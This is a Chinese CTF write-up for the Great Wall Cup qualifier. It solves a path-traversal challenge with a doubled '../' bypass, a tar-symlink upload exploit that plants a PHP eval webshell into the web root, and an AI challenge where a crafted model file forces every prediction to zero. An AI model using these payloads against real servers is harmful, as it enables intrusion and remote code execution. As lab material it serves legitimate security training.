第五届长城杯网络安全大赛线上初赛Writeup

第五届”长城杯”网络安全大赛初赛Writeup赛题只有 Web、AI、数据安全三个方向

一、Web

1、文曲签学

打开环境得到一个电子词典

根据提示长按 Fn 激活调试模式

#help 查看可用指令

#list 查看笔记列表

查看 HINT(提示) 文件

#read HINT 查看提示

然后去公众号看一下提示

提示：
flag在/flag下，可以尝试目录穿越漏洞来读取它。
会过滤“../”，可以使用双写来绕过。
文件名有大小写区分。

发现是目录遍历但是过滤了../ 那就双写绕过

#read ….//….//….//….//flag

flag{96d1c87d-aaff-4aa0-aeea-dabc8da7dd2f}

2、EZ_upload

随便上传一个文件得到源码

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>

发现接收文件后，对文件名进行了简单过滤，随后将文件保存至 /tmp 目录，并执行了 tar 解包操作。

通常文件上传的目的是写入 WebShell，但由于文件被保存在 /tmp 目录下，因此我们需要设法修改文件的保存路径。

此时可以利用 tar 解包时的符号链接（Symbolic Link）机制来改变文件的保存路径。

符号链接类似于 Windows 中的快捷方式

import os
import tarfile
from io import BytesIO

# === 参数设定区 ===
payload_data = b'<?php phpinfo();@eval($_POST["shell"]); ?>'
payload_filename = "shell.php"

# 符号链接配置
link_alias = "my_link"
destination_path = "/var/www/html"

# === 核心逻辑区 ===

# 构建符号链接 tar 包（文件名改为 softlink.tar）
with tarfile.open("softlink.tar", mode="w") as archive:
    link_entry = tarfile.TarInfo(name=link_alias)
    link_entry.type = tarfile.SYMTYPE        # 使用 SYMTYPE 而非 SYMLINK
    link_entry.linkname = destination_path
    archive.addfile(link_entry)

print("✔ softlink.tar 生成完毕")

# 利用前面创建的符号链接路径构造写入目标
target_in_archive = os.path.join(link_alias, payload_filename)

# 构建包含 Webshell 的 tar 包（文件名改为 shell.tar）
with tarfile.open("shell.tar", mode="w") as archive:
    file_entry = tarfile.TarInfo(name=target_in_archive)
    file_entry.size = len(payload_data)
    archive.addfile(file_entry, BytesIO(payload_data))

print("✔ shell.tar 生成完毕")

建议使用Linux系统运行脚本

然后按照顺序,先上传softlink.tar 在上传 shell.tar

然后访问路径为 :http://url//shell.php

一句话木马密码为:shell

蚁剑连接在根目录下找到flag

flag{7d81847f-1f89-492a-ae8f-edde1a9a2001}

二、AI

1、 easy_poison

题目描述：城市应急 AI 哨兵开始对关键灾情视而不见，怀疑其训练数据遭到了投毒攻击。任务要求我们复现该攻击过程，通过让验证器判定攻击成功来获取 Flag。

经代码审计，核心逻辑如下：

上传接口：/upload，仅接受 .pth 格式的 PyTorch state_dict 模型权重文件。
验证机制：validator.py 会使用干净的训练集 data/train_set.csv 重建词表和预处理流程（包括：转小写、去除非字母字符、word_tokenize 分词、选取词频 Top-2000 的词汇、padding=35），然后在秘密验证集 data/val_set.csv（位于靶机）上测试用户上传的模型。若所有秘密样本的预测结果都被误导为“非灾情”（类别 0），则判定攻击成功，返回 Flag。

附件文件分析：

app.py：Flask 应用，处理文件上传并调用验证逻辑。
validator.py：加载用户上传的 .pth 权重，在秘密验证集上运行模型，全为 0 则返回 Flag。
src/preprocessing/preprocessing.py：文本预处理脚本，清洗规则为仅保留 A-Z 字母，中文字符将被清除 → 因此触发攻击的关键词必须是英文，且在 Top-2000 词表中。
src/model/model.py：轻量级 CNN 文本分类模型（流程：词嵌入 → 多核卷积 → 特征拼接 → 全连接层 → Sigmoid 输出）。
data/train_set.csv：干净训练数据，用于重建词表。

因此，我们的目标是：生成一个能将所有秘密验证样本预测为 0 的 PyTorch 模型权重文件（.pth），并确保其结构与目标模型一致。

exp如下:

import os
import sys
import torch

ROOT = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, ROOT)

if not os.path.isdir(os.path.join(ROOT, "src")):
    raise SystemExit("src目录不存在")

from src.model import TextClassifier
from src.parameters import Parameters

def initialize_model():
    """初始化模型并设置权重"""
    params = Parameters()
    model = TextClassifier(params)
    
    # 初始化所有权重为零，偏置为负值（偏向输出0）
    with torch.no_grad():
        for param_name, param in model.named_parameters():
            if 'weight' in param_name:
                torch.nn.init.zeros_(param)
            elif 'bias' in param_name:
                torch.nn.init.constant_(param, -100.0)
    
    return model, params

def save_and_test_model(model, params):
    """保存模型并测试输出"""
    output_path = os.path.join(ROOT, "1.pth")
    torch.save(model.state_dict(), output_path)
    print(f"模型导出成功: {output_path}")
    
    # 测试模型输出
    model.eval()
    test_input = torch.randint(0, params.num_words + 1, (1, params.seq_len), dtype=torch.long)
    
    with torch.no_grad():
        output = model(test_input)
        print(f"测试输出: {output.item():.6f}")

def main():
    """主执行函数"""
    model, params = initialize_model()
    save_and_test_model(model, params)

if __name__ == "__main__":
    main()